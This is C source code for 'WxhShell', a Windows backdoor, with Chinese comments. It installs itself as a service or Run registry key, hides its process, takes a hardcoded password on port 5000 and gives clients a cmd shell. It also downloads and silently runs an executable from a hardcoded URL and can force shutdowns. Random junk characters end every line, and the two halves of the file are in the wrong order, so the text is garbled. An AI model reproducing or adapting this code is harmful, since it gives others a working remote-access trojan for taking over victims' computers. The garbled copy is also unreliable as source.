    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +@BjQ|UZ  
    if(Boot(SHUTDOWN)) \F8 :6-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s<'WTgy1i  
    else { z;lWr(-x  
    closesocket(wsh); r}M2t$nv  
    ExitThread(0); ?656P=b)  
    } XF i!=|F  
    break; uZXG"  
    } 7*(K%e"U  
  // 获取shell hwi$:[  
  case 's': { {1L{   
    CmdShell(wsh); !f01.Tq8  
    closesocket(wsh); 7R#$Hm  
    ExitThread(0); 60X))MyN  
    break; <G /a-Z  
  } LB/1To  
  // 退出 PwS7!dzH-  
  case 'x': { W/G75o~6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k~=W1R%  
    CloseIt(wsh); I`uOsZBO/  
    break; H|s,;1#  
    } qK,PuD7i"  
  // 离开 AkA2/7<[  
  case 'q': { r#\Lq;+-B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @2/ xu  
    closesocket(wsh); OY,iz  
    WSACleanup(); 8^5@J) R8  
    exit(1); AI9#\$aGV  
    break; H{+[ ,l  
        } P$Fq62;}r4  
  } ~pPj   
  } g&fq)d  
QRz5eGpW  
  // 提示信息 2SJ|$VsLaE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mu@IcIb>  
} N(Xg#m   
  } VL/KC-6  
n|) JhXQ  
  return; 9IJc9Sv(  
} * %w8bB  
2}kJN8\F  
// shell模块句柄 iE* Y@E5x0  
int CmdShell(SOCKET sock) ?7\$zn)v#  
{ ;C~:C^Q\H  
STARTUPINFO si; uTRFeO>  
ZeroMemory(&si,sizeof(si)); Tw@:sWC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3\H0Nkubts  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cOb ,Md  
PROCESS_INFORMATION ProcessInfo;  b =R9@!  
char cmdline[]="cmd"; mM\jU5P:^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :za:gs0  
  return 0; R[f@g;h  
} YV)h"u+@0  
/<)kI(gf  
// 自身启动模式 ' qN"!\  
int StartFromService(void) K%3{a=1  
{ +~'ap'k m  
typedef struct 5v5K}hx  
{ y9X1X{  
  DWORD ExitStatus; xF7q9'/F  
  DWORD PebBaseAddress; BiD}C  
  DWORD AffinityMask; e3}o3c_  
  DWORD BasePriority; 6 i'kc3w  
  ULONG UniqueProcessId; zz1]6B*eX  
  ULONG InheritedFromUniqueProcessId; %-#rzeaW  
}   PROCESS_BASIC_INFORMATION; on)$y&lu  
_aK4[*jnqh  
PROCNTQSIP NtQueryInformationProcess; /4Jm]"  
nW!pOTJq21  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oh.8WlI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ">!<OB  
Cbjx{  
  HANDLE             hProcess; z-`-0@/A$  
  PROCESS_BASIC_INFORMATION pbi; O`D,>=[  
Z{rD4S @^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B'~CFj0W%=  
  if(NULL == hInst ) return 0; ?@5#p*u0  
Is#w=s}2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OpxJiu=W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UwVc!Lys  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J6J|&Z~UT,  
W B7gY\Y&M  
  if (!NtQueryInformationProcess) return 0; ;ep@ )Y  
l_0/g^(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uM74X^U  
  if(!hProcess) return 0; y5$AAas  
:Mzkm^7B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 82A[[^`  
Nc[[o>/Cb  
  CloseHandle(hProcess); dBM> ;S;v  
Nd;,Wz]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3W.5 [;}  
if(hProcess==NULL) return 0; pjrzoMF  
PYJ8\XZ1_N  
HMODULE hMod; U7le> d;L  
char procName[255]; ?*: mR|=  
unsigned long cbNeeded; Mxk0XFA  
ddG5g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $hE,BeQ  
SVj4K \F  
  CloseHandle(hProcess); ;1Zz-@  
-:NFF'  
if(strstr(procName,"services")) return 1; // 以服务启动 R4q)FXW29  
x9B5@2J1  
  return 0; // 注册表启动 >4x~US[VB  
} 8CN~o|uN  
i\94e{uty[  
// 主模块 t?6_^ 08  
int StartWxhshell(LPSTR lpCmdLine) #oQDt'  
{ Q~S3d  
  SOCKET wsl; U?sio%`(  
BOOL val=TRUE; -]e@FNL  
  int port=0; aH+n]J] =)  
  struct sockaddr_in door; $ ";NS6 1  
,!'L~{  
  if(wscfg.ws_autoins) Install(); |6y(7Ha  
o u*`~K|R  
port=atoi(lpCmdLine); c>pbRUMH  
P K9BowlW  
if(port<=0) port=wscfg.ws_port; fjwUh>[ }  
I@9[  
  WSADATA data; >p,FAz>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _|qs-USA  
/\C5`>x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ! :XMP*g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +(qs{07A$  
  door.sin_family = AF_INET; /+{]?y,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ - _lw  
  door.sin_port = htons(port); 8 DE%ot  
b i 8Qbo4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q/l@J3p[qm  
closesocket(wsl); QXg9ah~  
return 1; 'v V |un(6  
} E,g5[s@  
EXD Qr'"  
  if(listen(wsl,2) == INVALID_SOCKET) { }8,[B50  
closesocket(wsl); TU(w>v  
return 1; [>y0Xf9^  
} lIDGL05f'  
  Wxhshell(wsl); s_`=ugue  
  WSACleanup(); sn6:\X<[  
P6 & _q  
return 0; s`E^1jC  
;\[ el<Y)s  
}  XBF]|}%  
Jx(`.*$  
// 以NT服务方式启动 s1| +LT ,D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z+?V10$  
{ :2_8.+:  
DWORD   status = 0; c 6"hk_  
  DWORD   specificError = 0xfffffff; ? pkg1F7  
)of?!>'S[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E"{2R>mU~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eYD|`)-f<^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R]y[n;aGC  
  serviceStatus.dwWin32ExitCode     = 0; EX.`6,:+2  
  serviceStatus.dwServiceSpecificExitCode = 0; alB[/.1  
  serviceStatus.dwCheckPoint       = 0; O?I~XM'S  
  serviceStatus.dwWaitHint       = 0; `NNr]__  
*'q6#\#.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oi~ ]~+2  
  if (hServiceStatusHandle==0) return; f6d:5 X_  
~c*$w O\  
status = GetLastError(); k25:H[   
  if (status!=NO_ERROR) ^Cm9[1p  
{ xct{Tv[FO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?k7z 5ow  
    serviceStatus.dwCheckPoint       = 0; -(Y(K!n  
    serviceStatus.dwWaitHint       = 0; B9glPcy}SS  
    serviceStatus.dwWin32ExitCode     = status; <E`Ygac  
    serviceStatus.dwServiceSpecificExitCode = specificError; wgeR%#DW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i{9_C/  
    return; V&75n.L  
  } >#Obhs|S{C  
kkz{;OW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e{<r<]/j  
  serviceStatus.dwCheckPoint       = 0; -/O_wqm#  
  serviceStatus.dwWaitHint       = 0; q4~w D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s$,gM,|cK  
} <+tSTc4>r  
S3G9/  
// 处理NT服务事件,比如:启动、停止 uV@#;c4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) TI9]v(  
{ nX|f?5 O  
switch(fdwControl) %}nNwuJ  
{ 'fqX^v5n  
case SERVICE_CONTROL_STOP: ?Bdhn{_  
  serviceStatus.dwWin32ExitCode = 0; *&d>Vk."]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TBGN',,  
  serviceStatus.dwCheckPoint   = 0; c8^M::NI  
  serviceStatus.dwWaitHint     = 0; xxsax/h  
  { BXCB/:0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hj>(kL9H  
  } sr=~U q{g  
  return; =u5a'bp0;;  
case SERVICE_CONTROL_PAUSE: j!It1B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %l#i9$s  
  break; @&AUbxoj  
case SERVICE_CONTROL_CONTINUE: gtV^6(Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cQ?eL,z  
  break; Z/r=4  
case SERVICE_CONTROL_INTERROGATE: 0I`)<o-  
  break; &7i o/d\/  
}; "x+o(jOy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I:ag}L8`  
} cL]vJ`?Ih  
7<T1#~w4L  
// 标准应用程序主函数 _\d[`7#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .9cQq/{b  
{ e6 R<V]g  
%z0;77[1I  
// 获取操作系统版本 bp>-{Nv  
OsIsNt=GetOsVer(); "}ms|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ] WsQ=  
#GJ{@C3H8Q  
  // 从命令行安装 \I@hDMqv  
  if(strpbrk(lpCmdLine,"iI")) Install(); \-]zXKl2k  
b-d{)-G{(  
  // 下载执行文件 X\ -IAv  
if(wscfg.ws_downexe) { 4dEfXrMf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xzZ2?z Wi  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,[} XK9  
} /tG0"1{  
YR 5C`o  
if(!OsIsNt) { vky@L!&,  
// 如果时win9x,隐藏进程并且设置为注册表启动 prWK U  
HideProc(); 7CK3t/3D  
StartWxhshell(lpCmdLine); '^npZa'%sW  
} d7f{2  
else !T'`L{Sj  
  if(StartFromService()) ou{}\^DgQ  
  // 以服务方式启动 yGxAur=dE  
  StartServiceCtrlDispatcher(DispatchTable); @PaOQ@  
else )U?5O$M;lE  
  // 普通方式启动 j$<sq  
  StartWxhshell(lpCmdLine); R2e":`0I  
cbton<r~  
return 0; iF_#cmSy$  
} HGwSsoS  
dbE]&w`?d  
b%-S'@ew  
<Lt%[dn  
=========================================== )'+ tb\g  
1iiQW  
Jp d|<\Ml  
c)b/"  
MR?5p8S#g  
I<``d Ne9Q  
" *\n-yx]  
|h7 d #V>  
#include <stdio.h> (/^s?`1{N?  
#include <string.h> JZo18^aD"'  
#include <windows.h> ]SO-NR  
#include <winsock2.h> PX} ~  
#include <winsvc.h> t)i{=8 rq  
#include <urlmon.h> BQ;F`!Hx?  
NKSK+ll2  
#pragma comment (lib, "Ws2_32.lib") <73dXTZ0  
#pragma comment (lib, "urlmon.lib") ^5GyW`a}  
, S }  
#define MAX_USER   100 // 最大客户端连接数 F?Fs x)2k  
#define BUF_SOCK   200 // sock buffer ;h-W&i7  
#define KEY_BUFF   255 // 输入 buffer DH>>u  
-r'/PbV0  
#define REBOOT     0   // 重启 #H5i$ o  
#define SHUTDOWN   1   // 关机 Od,P,t9  
# h/#h\  
#define DEF_PORT   5000 // 监听端口 ;usR=i36b  
V#P`FX  
#define REG_LEN     16   // 注册表键长度 {tDH !sX  
#define SVC_LEN     80   // NT服务名长度 0^-1/Ec  
hHsN(v  
// 从dll定义API v] ?zG&Jh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  n$u@v(I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ceUhCb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b)(rlX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &<>NP?j}  
e*!0|#-  
// wxhshell配置信息 F*, e,s  
struct WSCFG { v.q`1D1=t  
  int ws_port;         // 监听端口 (rE.ft5$9  
  char ws_passstr[REG_LEN]; // 口令 99YgQ Y]HO  
  int ws_autoins;       // 安装标记, 1=yes 0=no EW~M,+?  
  char ws_regname[REG_LEN]; // 注册表键名 IyPk3N  
  char ws_svcname[REG_LEN]; // 服务名 v(`9+*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 unB`n'L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7KlS9x2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S11ME  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >oGs0mej  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TCLXO0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EZee kxs  
c.eUlr_ {  
}; '5r\o8RjN  
r^v1_u, 1I  
// default Wxhshell configuration %E k!3t  
struct WSCFG wscfg={DEF_PORT,  X? l5}  
    "xuhuanlingzhe", t}wwRWo2?f  
    1, }Sr=|j  
    "Wxhshell", Tv6HPD$[  
    "Wxhshell", !Pc&Sg  
            "WxhShell Service", &~KAZ}xu  
    "Wrsky Windows CmdShell Service", ]k# iA9I  
    "Please Input Your Password: ", rT"3^,,  
  1, EGysA{o"X  
  "http://www.wrsky.com/wxhshell.exe", 0CpE,gg  
  "Wxhshell.exe" B(1WI_}~  
    }; !I jU*c@  
Mpx98xcO  
// 消息定义模块 Mc9JFzp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `Fx+HIng,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TFG0~"4Cz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Bz\Tsp  
char *msg_ws_ext="\n\rExit."; WYm<_1  
char *msg_ws_end="\n\rQuit."; ~$jRn(2  
char *msg_ws_boot="\n\rReboot..."; {` ByZB  
char *msg_ws_poff="\n\rShutdown..."; yXT.]%)  
char *msg_ws_down="\n\rSave to "; 5q;c=oRUj  
.x'?&7#(  
char *msg_ws_err="\n\rErr!"; BIXbdo5F  
char *msg_ws_ok="\n\rOK!"; KsSIX  
@+7CfvM  
char ExeFile[MAX_PATH]; 0WSOA[R%[b  
int nUser = 0; GMlJM  
HANDLE handles[MAX_USER]; ) W/_2Q.  
int OsIsNt; qH4+i STnV  
s=>^ 8[0O  
SERVICE_STATUS       serviceStatus; O>eg_K,c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~X(2F#{<{  
}z F,dst  
// 函数声明 GmH`ipi  
int Install(void); ~wQ M ?h  
int Uninstall(void); (tCBbPW6T?  
int DownloadFile(char *sURL, SOCKET wsh); N$.=1Q$F6  
int Boot(int flag); c"diNbm[  
void HideProc(void); B:VGa<lx5  
int GetOsVer(void); R0urt  
int Wxhshell(SOCKET wsl); #x6EZnG  
void TalkWithClient(void *cs); >mj WC) U  
int CmdShell(SOCKET sock); i1 c[Gk.o  
int StartFromService(void); &ZL4/e  
int StartWxhshell(LPSTR lpCmdLine); /*(&Dmt>  
kkIG{Bw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a1shP};pK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nG%<n  
8~sC$sIlE  
// 数据结构和表定义 _:>t$* _  
SERVICE_TABLE_ENTRY DispatchTable[] = [QIQpBL  
{ %<|cWYM="z  
{wscfg.ws_svcname, NTServiceMain}, LK<ZF=z]Z  
{NULL, NULL} MaLH2?je^n  
}; R5xV_;wD  
.O SQ8W }  
// 自我安装 &7 9F Uac  
int Install(void) -b)3+#f  
{ BKV:U\QZ  
  char svExeFile[MAX_PATH]; "jf_xZ$H-  
  HKEY key; m95] z18T'  
  strcpy(svExeFile,ExeFile); S{Zf}8?6$  
T%A"E,#  
// 如果是win9x系统,修改注册表设为自启动 }}l jVUpC%  
if(!OsIsNt) { = toU?:.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `O!yt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TAq[g|N-;  
  RegCloseKey(key); wScr:o+K>L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -"I9`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -XnOj2  
  RegCloseKey(key); 5lyHg{iqD  
  return 0; gX| \O']6  
    } hxt;sQAo{  
  } Y?-Ef sK  
} L\R(//V  
else { Tfx-h)oP3  
Ya-GDB;L  
// 如果是NT以上系统,安装为系统服务 R,fAl"wMu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f ~bgZ  
if (schSCManager!=0) cqT%6Si  
{ Lt i2KY}/%  
  SC_HANDLE schService = CreateService NN5G '|i  
  ( pktnX-Slt  
  schSCManager, ge1U1o  
  wscfg.ws_svcname, mex@~VK  
  wscfg.ws_svcdisp, { R/e1-;  
  SERVICE_ALL_ACCESS, g`~;"%u7cn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P76gJ@#m  
  SERVICE_AUTO_START, E(&zH;?_  
  SERVICE_ERROR_NORMAL, "'XYW\bI  
  svExeFile, Gyrc~m[$  
  NULL, h,6> ^A  
  NULL, #V$sb1u  
  NULL, u68ic1  
  NULL, Ocz21gl-?`  
  NULL W@i|=xS?  
  ); x=X&b%09  
  if (schService!=0) vu&ny&=`  
  { PZ#aq~>w  
  CloseServiceHandle(schService); N34bB>_  
  CloseServiceHandle(schSCManager); [&l+Ve(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c._!dq&#R  
  strcat(svExeFile,wscfg.ws_svcname); Q.\vN-(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {Z1-B60P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y![8-L|Q  
  RegCloseKey(key); Fq`@sM $  
  return 0; ;F"Tu  
    } i[w&!mn%  
  } c8HETs1  
  CloseServiceHandle(schSCManager); "{3MXAFe  
} lE!.$L*k  
} P7REE_<1  
/ Xv@g$  
return 1; Hl*#iUq  
} *Wcq'S  
dj}P|v/;z  
// 自我卸载 Z=< D`  
int Uninstall(void) ldc`Y/:{  
{ 7|Iq4@IT  
  HKEY key; yVJ)JhV  
R;uP^  
if(!OsIsNt) { |uX&T`7?-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ri}JM3\J  
  RegDeleteValue(key,wscfg.ws_regname); 23opaX5V=  
  RegCloseKey(key); QkLcs6)R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ct:c%D(L  
  RegDeleteValue(key,wscfg.ws_regname); H>"P]Y)oX  
  RegCloseKey(key); A5O;C  
  return 0; w;J#+ik  
  } $N|Spp0  
} &yqk96z  
} A-eCc#I  
else { 1KJ[&jS ]  
?3i<^@?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h*sL' fJ]  
if (schSCManager!=0) "IWL& cH3  
{ Lo" s12fr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k_Lv\'Ok  
  if (schService!=0) t1G2A`  
  { 1J&hm[3[K  
  if(DeleteService(schService)!=0) { j'UW gwB  
  CloseServiceHandle(schService); P+0 -h  
  CloseServiceHandle(schSCManager); T\Jm=+]c!  
  return 0; 2}5@: cwR+  
  } NF7+Gp6?q  
  CloseServiceHandle(schService); xI~c~KC  
  } U{HBmSR  
  CloseServiceHandle(schSCManager); gNh4c{Al9  
} _ n4C~  
} Nxm '* -A  
~sCdvBA  
return 1; hr g'Z5n  
} 2JHV*/Q  
IN"6 =2:  
// 从指定url下载文件 A.<M*[{q  
int DownloadFile(char *sURL, SOCKET wsh) }/7rA)_  
{ jf& oN]sZ  
  HRESULT hr; @EH@_EwYV  
char seps[]= "/"; @%6"xnb `  
char *token; OL623jQX  
char *file; DWU(ld:_  
char myURL[MAX_PATH]; IZxr;\dq6  
char myFILE[MAX_PATH]; d*:J0J(  
Wk]E6yz6  
strcpy(myURL,sURL); zBqNE`  
  token=strtok(myURL,seps); <@qJsRbhK  
  while(token!=NULL) %v]-:5g'|  
  { 4o( Q+6m  
    file=token; r#^uY:T%  
  token=strtok(NULL,seps); ~&+8m=   
  } N\x<'P4q  
OC`Mzf%.  
GetCurrentDirectory(MAX_PATH,myFILE); `(@{t:L  
strcat(myFILE, "\\"); Vc "+|^  
strcat(myFILE, file); RIF*9=,S  
  send(wsh,myFILE,strlen(myFILE),0); gq)uv`3  
send(wsh,"...",3,0); (}CA?/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p[D,.0SuC  
  if(hr==S_OK) Bv}nG|  
return 0; !]#;'  
else *BQy$dfE  
return 1; FX/f0C3CK  
UFr5'T  
} R%;dt<Dh  
4zf(  
// 系统电源模块 VqdR  
int Boot(int flag) D}bCMN <  
{ `AhTER  
  HANDLE hToken; IPlkv{^  
  TOKEN_PRIVILEGES tkp; ?/Z5%?6  
$(pVE}J  
  if(OsIsNt) { E)( Rhvij  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /U"3LX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J|dj`Z ?  
    tkp.PrivilegeCount = 1; lkgB,cflpi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w'P!<JaZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fMRMQR=6B  
if(flag==REBOOT) { ,a} vx"~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A)u,Hvn  
  return 0; 5=P*<Dnj  
} <0H^2ekd  
else { 9AZpvQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o$,e#q)8  
  return 0; >/DlxYG?  
} AJ85[~(lX  
  } s;YuB#Z  
  else { bF? {  
if(flag==REBOOT) { Y f;Slps  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z4*`K4W  
  return 0; *`bAu *  
} +:m'  
else { O\)rp!i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C2W&*W*  
  return 0; qX!P:M  
} f#zm}+,`  
} x<[W9Z'~?9  
DsF<P@O6  
return 1; w;KNS'   
} 5j-? Uf  
hZLwg7X!   
// win9x进程隐藏模块 aak[U;rx  
void HideProc(void) `'M}.q,k~  
{ eEMU,zCl  
ma(E}s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =$awUy  
  if ( hKernel != NULL ) uvj`r5ei  
  { R3gg{hQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  K na  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @F0+t;  
    FreeLibrary(hKernel); ^K n{L  
  } q~*>  
O #S27.  
return; uP veAK}h  
} b)Dzau  
@XFy^?  
// 获取操作系统版本 Fb9!x/$tGV  
int GetOsVer(void) l|p \8=  
{ kA%"-$3  
  OSVERSIONINFO winfo; HCTjFW>C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0NMekVi  
  GetVersionEx(&winfo); SN/ e41  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S,~DA3  
  return 1; ([a[ fi  
  else ;OynkZs)  
  return 0; -<Zs7(  
} `8rInfV  
Y>i?nC%*  
// 客户端句柄模块 }tRY,f  
int Wxhshell(SOCKET wsl) [exIK  
{ 8rx"D`{|  
  SOCKET wsh; vkQkU,q  
  struct sockaddr_in client; WYklS<B[  
  DWORD myID; uNSbAw3  
Ysz&/ry  
  while(nUser<MAX_USER) V)8d1S  
{ /?wH1 ,  
  int nSize=sizeof(client); ee|i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g1s\6%g  
  if(wsh==INVALID_SOCKET) return 1; 43 h0i-%1  
1IRlFC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rG*Zp7{  
if(handles[nUser]==0) u79,+H@ep  
  closesocket(wsh); SsE8;IGH  
else 8 aHs I(  
  nUser++; vS{zLXg  
  } l].Gz`L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oSOO5dk:z  
9j;L-  
  return 0; "5,tEP!  
} SCZ6:P"$qX  
bo  J  
// 关闭 socket ^6E+l#  
void CloseIt(SOCKET wsh) y(!Y N7_A  
{ Z`=[hu  
closesocket(wsh); i,Q{Z@,  
nUser--; -!k$ Z  
ExitThread(0); ^}gQh#  
} ^/<0r] =  
u ::2c  
// 客户端请求句柄 F(w  
void TalkWithClient(void *cs) 61W ms@D%  
{ =&J 7 'nDP  
5ZRO{rf  
  SOCKET wsh=(SOCKET)cs; v~2$9x!9  
  char pwd[SVC_LEN];  .UUY9@  
  char cmd[KEY_BUFF]; %6vf~oG  
char chr[1]; 8d90B9  
int i,j; *P#okwp  
#Tjv(O[&  
  while (nUser < MAX_USER) { sMq*X^z )?  
.%D9leiRe  
if(wscfg.ws_passstr) { 8KQ]3Z9p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &3SQVOW ~T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Bl0 W  
  //ZeroMemory(pwd,KEY_BUFF); VZ`L-P$AF  
      i=0; lm?1 K:+[  
  while(i<SVC_LEN) { \Qh{uk[  
thYG1Cs  
  // 设置超时 ;<JyA3i^V,  
  fd_set FdRead; bvf}r ,`Q7  
  struct timeval TimeOut; $\0%"S  
  FD_ZERO(&FdRead); "gcHcboU5$  
  FD_SET(wsh,&FdRead); JP2zom  
  TimeOut.tv_sec=8; 1mLd_ ]F'F  
  TimeOut.tv_usec=0; \B0,?_i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #+v Iq?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SD"'  
8b0!eB#_Ee  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (~R[K,G  
  pwd=chr[0]; rNgFsFQ>.  
  if(chr[0]==0xd || chr[0]==0xa) { \,-t]$9  
  pwd=0; ;^9Ao>(?y  
  break; %6\e_y%  
  } 6^vMJ82U  
  i++; w"Q6'/P  
    } \"]vSx>  
5Av bKT  
  // 如果是非法用户,关闭 socket QEe\1>1"&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a@E+/9  
} u~| D;e  
h&$7^P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b h%@Lo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3yWu-U \k  
e/pZLj]M  
while(1) { 2yu\f u  
uQwKnD?F+e  
  ZeroMemory(cmd,KEY_BUFF); W| z djb  
F~;G [6}  
      // 自动支持客户端 telnet标准   VJK?"mX  
  j=0;  q q%\  
  while(j<KEY_BUFF) { z=}@aX[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *hhPCYOm  
  cmd[j]=chr[0]; FT*OF 3  
  if(chr[0]==0xa || chr[0]==0xd) { C+, JLK  
  cmd[j]=0; 8oM]gW;J~  
  break; 6TN!63{Cz  
  } wT;3>%Mtr  
  j++; [^rT: %Z  
    } V/X4WZs|i  
\7W4)>At-  
  // 下载文件 CdxEY  
  if(strstr(cmd,"http://")) { E\3fL"lM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AqPE.mf  
  if(DownloadFile(cmd,wsh)) qb^jcy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2E V M*^A  
  else 5Ocd2T'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {`2R<O  
  } }LXS!Ff:  
  else { @x9DV{j)V  
`t0?PpUo  
